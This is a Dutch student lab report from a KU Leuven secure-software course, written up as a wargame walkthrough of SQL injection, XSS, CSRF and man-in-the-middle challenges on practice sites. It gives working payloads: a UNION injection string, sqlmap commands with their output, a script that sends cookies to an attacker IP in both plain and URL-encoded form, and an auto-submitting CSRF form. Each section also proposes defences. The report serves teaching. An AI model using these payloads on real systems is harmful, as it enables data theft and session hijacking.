KU Leuven
Departement Computerwetenschappen

H04K5a , Development of Secure Software, prof. F. Piessens

Development of Secure Software

Bassie and Adriaan Wargame

Master in de Ingenieurswetenschappen
Computerwetenschappen

Jonas Schouterden, r0260385
Nele Rober, r0262954

Academiejaar 2014-2015

1 Overzicht

Taak	Vlag	Werkuren	
		Jonas	Nele
SQLi1	FLAG_H5t4entm57bE2LrKgyoQqWIKXCEL3HWB		3:30
SQLi2	FLAG_J5jgIlAlCAzE0hbNV00qQrW9JqapReAD		2:10
SQLi3	FLAG_21AY1LGQIg9HWQ9tvBVDQcna30f6KDD		0:10
XSS1	FLAG_xdovtuFMotH3aQ4bTeXCCqqcNomKwu9E		4:05
XSS2	FLAG_T2wAKbIfUIk0T1H79fYyLyojMOoVpKKk		2:35
CSRF1	FLAG_VoCWvKdHojhGKSWKQNka17AbIKIDUI6O		4:40
CSRF2			4:40
MitM1	FLAG_bFJJhrvObybY8M6l3FOuXoFnlsxAWTEQ		6:00
MitM2	FLAG_x8ZMtNCXewwqZ8qmsSsxWtN3dwpDBNlE		3:15
totaal			31:05

1.1 Webapplicatie

Bij het openen van de webpagina, krijg je een typisch login-formulier te zien: een veld voor je gebruikersnaam en een veld voor je wachtwoord. Het is niet mogelijk jezelf te registeren.

Wanneer je op de login-knop klikt, voert de applicatie volgende SQL query uit:

```
"SELECT *
  from users
  where username="USERNAME"
    and password="PASSWORD" "
```

Hierbij worden de gebruikersnaam en het wachtwoord rechtstreeks uit de $_*REQUEST* parameter gehaald en ingevuld worden op de juiste plaats.

Indien de query een resultaat geeft, toont de applicatie volgende tekst:

```
"Hello ".$row[0]."", you are logged in!"
```

In deze tekst is *$row[0]* de eerste kolom van de eerste rij van het query-resultaat. Hier staat onder normale omstandigheden de gebruikersnaam.

Indien de query faalde, toont de applicatie volgende tekst:

```
"Access denied!"
```

1.2 Zwakke punt

De parameters voor de SQL-query worden rechtstreeks ingevuld in de query en de query wordt daarna gewoon uitgevoerd, zonder enige vorm van controle. Wanneer een gebruiker slim gekozen parameters meegeeft, kan hij zo de intentie van de query wijzigen. Dit noemt men *SQL injection through user input*. De specifieke aanval de we gebruikt hebben, is een *Union Query* aanval. Hierbij wordt een kwestbare parameter misbruikt opdat de query een andere data set zou teruggeven dan normaal de bedoeling is.

1.3 Gebruik van het zwakke punt

Het is niet nodig tools te gebruiken om dit zwakke punt te exploiteren, het volstaat om als wachtwoord de volgende tekst in te geven:

```
" UNION SELECT password, username
  from users
  where username="Bassie
```

(De waarde van de gebruikersnaam maakt hierbij niet uit, als voorbeel id hier Bassie gebruikt).

Door de aanhalingstekens slim te plaatsen, kan je de query handmatig afsluiten en een nieuwe query beginnen. Wanneer de parameters in de query worden ingevuld, geeft dit volgend resultaat:

```
"SELECT *
  from users
  where username=""
    and password=""
UNION SELECT password, username
  from users
  where username="Bassie" "
```

Dit is een tweeledige query: het eerste deel selecteert alle gegevens van de gebruikers die een lege naam en een leeg wachtwoord hebben. Uiteraard zijn dit er geen, het resultaat blijft leeg. Het tweede deel van de query, namelijk het gedeelte achter `UNION`, selecteert het wachtwoord en de gebruikersnaam van alle gebruikers met de naam "Bassie". Dit is er maar een.
De `UNION` operator plakt de resultaten van beide query's aan elkaar tot één tabel, maar omdat de eerste query geen resultaten geeft, zal de tabel enkel de resultaten van de tweede query bevatten.

Merk op dat aangezien we met een `UNION` operator werken, we in de twee query's dezelfde kolommen moeten opvragen. We hebben daarom beredeneerd gegokt dat de tabel *users* slechts twee kolommen heeft, namelijk een kolom *user* en een kolom *password*.
In de eerst query worden met behulp van de `SELECT *` alle kolomen van de matchende tupels in de tabel opgevraagd. Echter, door in de de tweede query gebruik te maken van `SELECT password, username` kunnen we de volgorde van de kolommen in het resultaat aanpassen. Dit is noodzakelijk, aangezien *$row[0]* de eerste kolom van de eerste rij van het gemeenschappelijke query-resultaat selecteert.

De tekst die wordt getoond na het invullen van dit wachtwoord, toont nu het wachtwoord van Bassie:

```
"Hello FLAG_H5t4entm57bE2LrKgyoQqWIKXCEL3HWB, you are logged in!"
```

1.4 Alternatieve methode

Een gemakkelijke manier om de SQL-injectie-aanval uit te voeren, is om een tool los te laten op de kwetsbare pagina. Alhoewel het voor deze oefening niet noodzakelijk was, hebben we het toch gedaan. Hiervoor hebben we gebruik gemaakt van *SQLmap*, een tool die het ontdekken en misbruiken van SQL-injectie-fouten vergemakkelijkt.

Met behulp van SQLmap hebben we de inhoud van tabel 1 verkregen, die drie gebruikers weergeeft. In de bijgevoegde bestanden wordt de output van SQLmap weergegeven.

username	password
Adriaan	admin123
you obviously know how to use sqlmap	keep up the good work
Bassie	FLAG_H5t4entm57bE2LrKgyoQqWIKXCEL3HWB

Table 1: De inhoud van de tabel *users*, gevonden met behulp van SQLmap

1.5 Verbetering van de applicatie

De applicatie zou controles kunnen inbouwen op de ingegeven parameters, zodat parameters met tekens als " niet toegestaan worden.

Het is ook mogelijk de query om te zetten in een statement alvorens de query uit te voeren. Dit past de nodige beveiliging tegen valse parameters toe.

2 SQL Injection 2

2.1 Webapplicatie

De webapplicatie van SQLi2 heeft ongeveer dezelfde functionaliteit als die van SQLi1. De gebruikersnaam wordt nu echter niet meer weergegeven na het inloggen, waardoor de methode van SQLi1 niet bruikbaar is. Bij een succesvolle login is er geen directe output van de database naar het scherm. In dat geval wordt er immers enkel het volgende getoond:

```
"Successful login!!"
```

Het volgende deel van de broncode geeft weer wat er gebeurt bij onjuiste inloggegevens:

```
echo "Access denied!<br>";
if (mysql_errno($link)) {
  echo "error: ".mysql_errno($link).": ".mysql_error($link).;
}
```

Zoals bij SQLi1 wordt er bij onbekende inloggegevens de boodschap *Access denied* weergegeven. Echter, in tegenstelling to bij SQLi1, wordt er hier ook een error-boodschap weergegeven als de input een error-message genereerd in de onderliggende MySQL-database. Zowel het nummer van de error als het bericht zelf worden dan weergegeven.

2.2 Zwakke punt

Doordat er een error-bericht getoond kan worden, is er de mogelijkheid tot het gebruik van een *Illegal /Logically Incorrect Query*-aanval. Deze aanval wordt mogelijk gemaakt doordat de default error pagina die teruggegeven wordt door de application server vaak veel informatie bevat. De aanvaller probeert statements te injecteren die een syntaxfout, een type-conversie-fout of een logische fout in de database veroorzaken. Uit het foutbericht kan vaak informatie gehaald worden over het schema van de achterliggende database, zoals het soort database (e.g. MySQL), de naam van een tabel in de database... Met behulp van deze informatie kan de aanvaller vervolgens andere aanvallen doen die doelend op specifiekere informatie.

2.3 Gebruik van het zwakke punt

Met behulp van het al in 1.4 vermelde *SQLmap* hebben we probeerd om de zwakheden te vinden. Eerst hebben we een aanval uitgevoerd met SQLmap op de *username*-variabele met behulp van het volgende commando op in een terminal:

```
python sqlmap.py -u http://sqli2.adriaan.haxx.be/index.php?username=
    Bassie --dump --level=5
```

De output die gegenereerd wordt laat al in het begin zien dat de parameter waarschijnlijk injecteerbaar is en de database waarschijnlijk een MySQL-database is. Wanneer we vervolgens de testen laten runnen voor een MySQL-database, verkrijgen we de volgende output:

```
Place: GET
Parameter: username
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL
        comment)
    Payload: username=-3360" OR (3814=3814)#

    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: username=-1895"
        OR 1 GROUP BY CONCAT(0x71786a7871,
                    (SELECT (CASE WHEN (1682=1682) THEN 1 ELSE 0 END)),
                    0x71706b7071,
                    FLOOR(RAND(0)*2))
              HAVING MIN(0)#

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (comment)
    Payload: username=Bassie" AND SLEEP(5)#
```

Hieruit blijkt dat er 3 types aanvallen op de database mogelijk zijn. De eerste is een *boolean-based blind*-aanval. Deze aanval laat toe in te loggen als Bassie, maar niet om zijn wachtwoord te bemachtigen.

De tweede aanval die SQLmap vindt, is een error-gebaseerde aanval. Dit is een aanval op het zwakke punt dat we in subsectie 2.2 beschreven hebben. Met behulp van de foutmeldingen haalt SQLmap informatie over de database op. Hiermee kan SQLmap achterhalen dat de database een MySQL-database is, dat ze een tabel users bevat met kolommen username en password. Vervolgens kan dan met behulp deze informatie de informatie uit de tabel opgevraagd worden met behulp van SQL-queries. Tabel 2 bevat de informatie die met SQLmap bemachtigd werd.

username	password
Adriaan	asflks
Bassie	FLAG_J5jgIlAlCAzE0hbNV00qQrW9JqapReAD
you obviously also know how to use sqlmap	keep up this good work!!

Table 2: De inhoud van de tabel *users*, gevonden met behulp van SQLmap

2.4 Verbetering van de applicatie

De voor de hand liggende verbetering van de applicatie is om het error-bericht, dat eigenlijk bedoeld is voor de applicatie-ontwikkelaar om de software te debuggen, niet door te geven aan de gebruiker. Zo heeft de gebruiker geen rechtstreekse output meer vanuit de database.

De applicatie is dan echter nog niet tegen de andere aanvallen beschermd, zie daarvoor *SQLi3*.

3 SQL Injection 3

3.1 Webapplicatie

De webapplicatie van *SQLi3* is slechts een kleine aanpassing ten opzichte van de applicatie bij *SQLi2*: er is nu helemaal geen directe output bij bepaalde inputgegevens voor de loginvelden. De applicatie toont enkel:

```
"Successful login!"
```

in het geval van een geslaagde login. Of:

"Access denied!"

in het geval van een gefaalde login.

3.2 Zwakke punt

Om het zwakke punt te ontekken, hebben we ook hier gebruik gemaakt van *SQLmap*. Hierbij zijn we te weten gekomen dat er zeker twee mogelijke aanvallen zijn: een *boolean-based blind*-aanval en een *AND/OR time-based blind*-aanval.

Net als bij de vorige oefening is de eerste aanval voor ons niet nuttig, aangezien ze wel zorgt voor authenticatie bij de applicatie, maar niet voor informatie uit de database.

De andere aanval is een tijds-gebaseerde aanval, een soort *inferentie*-aanval. Bij deze aanval injecteert de aanvaller commando's in de website om dan te kijken hoe de website verandert en hoe lang het duurt voordat er iets verandert. Door op te merken wanneer de site hetzefde reageert en wanneer zijn gedrag verandert, kan de aanvaller redeneren over de waardes in de database.

3.3 Gebruik van het zwakke punt

Bij de tijdsgebaseerde aanval kan de aanvaller informatie uit de database halen door een tijdsvertraging in het antwoord van de database te introduceren. Met behulp van het binary search algoritme kan dan karakter per karakter de waardes uit de database geinfereerd worden. Bijvoorbeel, als een bepaald karakter van de data in de tabel kleiner is dan een bepaalde waarde, laat de database direct een HTTP-response terugsturen. Indien het karakter groter is, laat de database een paar seconden wachten. Door middel van deze techniek hebben we met SQLmap de informatie in tabel 3 gevonden.

username	password
Adriaan	321admin
Bassie	FLAG_21AY1LGQIg9HWQ9tvBVDQcna30f6KDDM
You obviously know how to use sqlmap	keep up the good work!!

Table 3: De inhoud van de tabel *users*, gevonden met behulp van SQLmap

3.4 Verbetering van de applicatie

Mogelijke verbeteringen zijn onder andere het beter checken van de input om mogelijke keywords te escapen. Hiervoor moeten goede afspraken gemaakt worden over heel de applicatie heen (om de waardes terug weer te geven moet de escape opgeheven worden e.d.). Dit is een voorbeeld van het *encoderen van de input*, waarbij de inputstring zo geencodeerd wordt dat alle meta-karakters gezien worden als normale karakters. In ander mogelijk is aan *positive pattern matching*, waarbij goede input van slechte input gescheiden kan worden.

4 Cross Site Scripting 1

4.1 Webapplicatie

De webapplicatie XSS1 maakt het mogelijk een gepersonaliseerde postkaart aan te maken. Je krijgt een tekstveld te zien waar je de boodschap voor op je postkaart kan ingeven. Wanneer je dan bevestigt, krijg je de postkaart te zien met de tekst die je net ingaf.

In de url zie je dat jouw postkaart een eigen id heeft. Wanneer je deze url (met id) naar iemand anders stuurt, kan deze jouw postkaart met de ingegeven tekst zien.

Bij het openen van een postkaart, controleert de applicatie of er een postkaart met het gegeven id in de database is opgeslagen. Indien dit het geval is, wordt de bijhorende tekst opgehaald uit de database en wordt de postkaart weergegeven. Indien de postkaart met het gegeven id niet gevonden wordt in de database, wordt een postkaart getoond met volgende tekst:

```
"Bassie & Adriaan
 say hi!"
```

4.2 Zwakke punt

De tekst op de postkaart wordt opgezocht in een database en weergegeven met de `echo` operatie. De `echo` operatie doet echter meer dan de tekst weergeven, ze voert de tekst ook uit. Zo kan je rechtstreeks parameters invullen of waarden berekenen in je tekst.

In dit geval echter, wordt de tekst door de gebruikers opgesteld en weet je dus niet wat erin staat. Wanneer een gebruiker een script opslaat als tekst bij een postkaart, zal dit script worden uitgevoerd op de computer van iedereen die de postkaart bekijkt. Dit noemt men Cross Site Scripting.

4.3 Gebruik van het zwakke punt

Stel, je maakt een postkaart met de volgende tekst:

```
<script>
  new Image().src="http://192.168.7.102/b.php?"
    + document.cookie;
</script>
```

waarbij 192.168.7.102 het ip-adres van de aanvaller is. Wanneer je Bassie deze pagina laat bezoeken met behulp van de url met het id van deze postkaart, zal het script ervoor zorgen dat Bassie's cookie naar het opgegeven ip adres zal worden gestuurd.

Het script voegt immers een nieuwe afbeelding toe aan de pagina en probeert deze afbeelding op te halen bij het gegeven ip-adres. Hij stuurt hiervoor een HTTP-request naar het adres met de cookie als parameter.

Wanneer de aanvaller luistert wat er binnenkomt bij zijn ip-adres op TCP-poort 80 (HTTP-verkeer) met bijvoorbeeld *Netcat*, kan hij Bassies cookie te weten komen:

$$FLAG\_xdovtuFMotH3aQ4bTeXCCqqcNomKwu9E$$

4.4 Verbetering van de applicatie

Verschillende manieren van verbetering zijn mogelijk. Zoals bij SQL injectie kan er gebruik gemaakt worden van defensief programmeren ter bescherming van dit soort XSS-aanvallen. Zo kan er aan output encoding gedaan worden of aan inputvalidatie.

Je kan o.a. controle doen op de opgeslagen tekst door bijvoorbeeld te eisen dat bepaalde tags als `<scipt>` niet mogen voorkomen.

Of je kan de opgeslagen tekst op een slimmere manier weergeven dan met `echo` door bijvoorbeeld `print` te gebruiken.

Een andere manier om dit tegen gaan is een striktere toepassing van de *Same-Origin-Policy* door de browser.

5 Cross Site Scripting 2

5.1 Webapplicatie

De webapplicatie van XSS2 werkt analoog aan die van XSS1. De teksten voor op de postkaarten worden nu echter niet in een database opgeslagen, maar worden meegegeven via de url. Ze zijn dus in de url te zien bij te bekijken van de pagina.

5.2 Zwakke punt

Iedereen kan lezen wat er in de url staat; je kan dus geen geheime tekstjes meer sturen.

Bovendien wordt de tekst nog steeds weergegeven met de `echo` operatie, waardoor het - net zoals bij XSS1 - ook wordt uitgevoerd. Wanneer gebruikers een scripts opslaan als tekst, kunnen ze zo dingen laten gebeuren die niet voorzien werden door de ontwikkelaars. Dit noemt men Cross Site Scripting.

5.3 Gebruik van het zwakke punt

Het zwakke punt van XSS2 kon op dezelfde manier gebruikt worden als dat van XSS1. Alleen wordt de tekst nu via een url meegegeven, waardoor bepaalde karakters niet zomaar gebruikt kunnen worden. Wanneer je deze karakters echter encodeert met behulp van hun hexadecimale representatie, bekom jewel het juiste resultaat.

Het volgende script hebben we in XSS1 gebruikt:

```
<script>
  new Image().src="http://192.168.7.102/b.php?"
    + document.cookie;
</script>
```

Hierin is zoals al eerder vermeld, 192.168.7.10 het ip-adres van de aanvaller. We encoderen vervolgens de karakters die niet in een url mogen als hexadecimale karakters. Zo kan je de *spaties* te vervangen door %20, de < door %3*C*, de > door %3*E* en de + door %2*B*.

Dat geeft de volgende url als resultaat:

```
http://xss2.adriaan.haxx.be/index.php?msg=%20%3Cscript%3Enew%20Image
    ().src=%22http://192.168.7.102/b.php?%22%2Bdocument.cookie;%3C/
    script%3E
```

Als de aanvaller vervolgens luistert naar het gegeven ip-adres op TCP-poort 80 wanneer Bassie deze url bezoekt, kan hij Bassie's cookie te weten komen:

$$FLAG\_T2wAKbIfUIk0T1H79fYyLyojMOoVpKKk$$

5.4 Verbetering van de applicatie

Aangezien het ongeveer dezelfde kwetsbaarheid is als in de XSS1 applicatie, zijn ook dezelfde maatregelingen van toepassing. Zie daarvoor subsectie 4.4.

6 Cross Site Request Forgery 1

6.1 Webapplicatie

De webapplicatie laat toe een kostuum aan te vragen bij Bassie. Bassie moet de aanvraag echter wel goedkeuren voordat je reservatie geslaagd is.

Elke aanvraag krijgt een id toegewezen. Indien Bassie naar de website gaat met die id in de url, krijgt hij een knop te zien waarmee hij de reservatie kan goedkeuren. Deze knop verstuurt een `POST` request naar de website.

Bij ontvangst van dit request controleert de applicatie of Bassie aangemeld is. Indien dat het geval is, wordt de id opgeslagen in een database.

Indien je zelf naar een website gaat met een id, zal de webapplicatie zoeken of deze id in de database voorkomt. Als dit het geval is, betekend dat dat Bassie het kostuum heeft goedgekeurd. Volgende tekst zal verschijnen:

```
Bassie has approved this rental!
Pick up the costume with the secret word ...
```

Als de id niet voorkomt in de database, heeft Bassie het kostuum nog niet goedgekeurd. In dat geval verschijnt volgende tekst:

```
Bassie has not approved this rental yet.
Ask bassie to come to this page and click this button.
```

6.2 Zwakke punt

De knop waarmee Bassie een kostuum kan goedkeuren, werkt met een gewoon HTTP `POST` request. Het is niet nodig parameters mee te geven aan het request waardoor iedereen het `POST` bericht zelf kan sturen.

Het is ook mogelijk het request te sturen zonder dat er op een knop geduwd wordt, zodat gebruikers ongewild bepaalde het request - en dus de goedkeuring - indienen. Wanneer dit gebeurt noemt men dit Cross Site Request Forgery.

6.3 Gebruik van het zwakke punt

De bevestig knop kan gemakkelijk worden nagebouwd en ingedrukt met volgend stukje code:

```
<html><body>

<form name="csrf" action="http://csrf1.adriaan.haxx.be/" method="POST
    ">
  <input type="hidden" name="rentaltoken" value="lcKHryMnDH">
</form>

<script type="text/javascript">document.csrf.submit();</script>

</body></html>
```

De form bootst de knop na door zelf een gelijkaardig `POST` request naar de webapplicatie te sturen als de echte knop. Deze form wordt automatisch ingestuurd door er `submit` op toe te passen, zoals gebeurt in het tweede stukje code.

Wanneer Bassie deze pagina bezoekt, wordt het `POST` request en dus de toestemming voor het kostuum automatisch verstuurd. Aangezien Bassie de juiste rechten heeft , zal de id van het

kostuum worden opgeslagen in de database en is het verhuren van het kostuum goedgekeurd, zonder dat Bassie dit weet.

Wanneer we zelf de webapplicatie met die id bezoeken, verschijnt nu de juiste tekst. Zo heeft Bassie zijn geheime woord prijsgegeven: FLAG_VoCWvKdHojhGKSWKQNka17AbIKIDUI6O.

6.4 Verbetering van de applicatie

Je kan het `POST` request gemakkelijk nabootsen doordat enkel gekende parameters gevraagd worden, namelijk de id van het kostuum. Indien je deze parameter geheim zou houden of nog een andere geheime parameter aan het `POST` request zou toevoegen, zou het niet meer mogelijk zijn Cross Site Request Forgery toe te passen om Bassie het kostuum te laten goedkeuren.

7 Cross Site Request Forgery 2

7.1 Webapplicatie

De csrf2 webapplicatie voorziet een inlog-pagina, waar je je kan inloggen als bestaande gebruiker of registreren als nieuwe gebruiker. Wanneer je ingelogd bent, krijg je een post-it te zien waarin je een notitie kan opslaan. Als je je later opnieuw inlogt, zal de post-it verschijnen met je opgeslagen notitie.

De applicatie werkt met sessies. Bij het inloggen wordt gecontroleerd of de opgegeven gebruikersnaam en wachtwoord opgeslagen zijn in de database. Indien dat het geval is, wordt de gebruikersnaam opgeslagen in de sessievariabele. Wanneer je later een actie wil doen, haalt de applicatie de gebruikersnaam uit de sessievariabelen. Indien deze de gebruikersnaam niet bevat, zal de actie niet slagen.

Uitloggen gebeurt door je sessie te laten verlopen.

7.2 Zwakke punt

Het is niet mogelijk Bassie zijn notitie te laten sturen door hem op een knop de laten duwen zoals in csrf1 omdat de form die hiervoor zorgt de notitie zelf als parameter vraagt.

Misschien is het wel mogelijk om de sessie van Bassie over te nemen, maar we hebben niet gevonden hoe dat kan.

7.3 Gebruik van het zwakke punt

Geen zwakke punt gevonden.

7.4 Verbetering van de applicatie

Geen zwakke punt gevonden.

8 Man in the Middle 1

8.1 Webapplicatie

De applicatie bestaat uit een write-only database. Hierin kunnen gebruikers geheime informatie in opslaan.

Wanneer je de mitm1-webapplicatie opent met een browser, verschijnt de volgende tekst:

```
Hello Bassie! I will store any posted secret data in my write-only
    database.
  You can authenticate me through challenge/response.
```

Er is dus geen rechtstreeks invoerveld om in te loggen of om tekst in te geven. De manier om geheime informatie in de write-only database op te slaan, is om ze via een *POST*-request data naar de applicatie te sturen.

Omdat het om private data gaat, stelt de applicatie voor om eerst na te gaan of de applicatie betrouwbaar is met behulp van een challenge-response protocol. De gebruiker verstuurt een *challenge* te sturen naar de applicatie met een *GET*-request. Indien het antwoord van de applicatie overeenkomt met wat de gebruiker verwacht, kan hij er vanuit gaan dat het echt de applicatie van Adriaan is waarmee hij communiceert.

8.2 Zwakke punt

De applicatie verwacht en checkt geen certificaten en weet dus niet of hij rechstreeks met de gebruiker communiceert of via een proxy. Ook gaat de hele communicatie volledig ongeëncrypteerd over HTTP. Wanneer Bassie zijn geheime vlag wil delen met de applicatie, kan een aanvaller zich zeer gemakkelijk in het midden plaatsen als een transparante proxy tussen de gebruiker en de applicatie en zo al het verkeer tussen de twee afluisteren. Dit wordt een *Man in the Middle*-aanval genoemd.

8.3 Gebruik van het zwakke punt

Het is gemakkelijk een MitM-aanval uit te voeren, aangezien we kunnen controleren naar naar welke IP-adres en TCP-poort Bassie zijn HTTP-requests verstuurd. Zo kunnen we Bassie zijn communicatie sturen naar de machine van de aanvaller, die deze doorstuurt naar de webapplicati, en vice versa. We hebben de aanval op twee manieren uitgevoerd: met behulp van de TCP/IP-tool in Eclipse en met behulp van *mitmproxy*.

8.3.1 Met behulp van de TCP/IP-tool in Eclipse

De TCP/IP-tool in de Java EE versie van Eclipse laat toe het webverkeer op een bepaalde poort op te vangen en door te sturen naar een bepaalde server. Wanneer de server antwoordt, wordt het resultaat opnieuw doorgestuurd naar de oorspronkelijke zender. De zender zal niet merken dat hij niet rechtstreeks met de server communiceert, maar de tussenpersoon kan wel alle verstuurde requests zien.

Door met de tool te luisteren naar bijvoorbeeld poort 8041 en Bassie te laten surfen naar jouw ip adres met poort 8041, krijg je alle requests van Bassie te zien. Als je deze requests doorstuurt naar de server van mitm1, zal Bassie het challenge/response protocol volgen zonder door te hebben dat je afluistert. Hij zal ook zijn data via jou sturen, waaronder de gezochte vlag:

$$FLAG\_bFJJhrvObybY8M6l3FOuXoFnlsxAWTEQ$$

8.4 Verbetering van de applicatie

In deze applicatie zit al een authenticatieprotocol ingebouwd, namelijk het challenge/response protocol, maar dit is niet genoeg. De applicatie dient ook de juiste certificaten mee te sturen.

9 Man in the Middle 2

9.1 Webapplicatie

9.2 Zwakke punt

9.3 Gebruik van het zwakke punt

9.4 Verbetering van de applicatie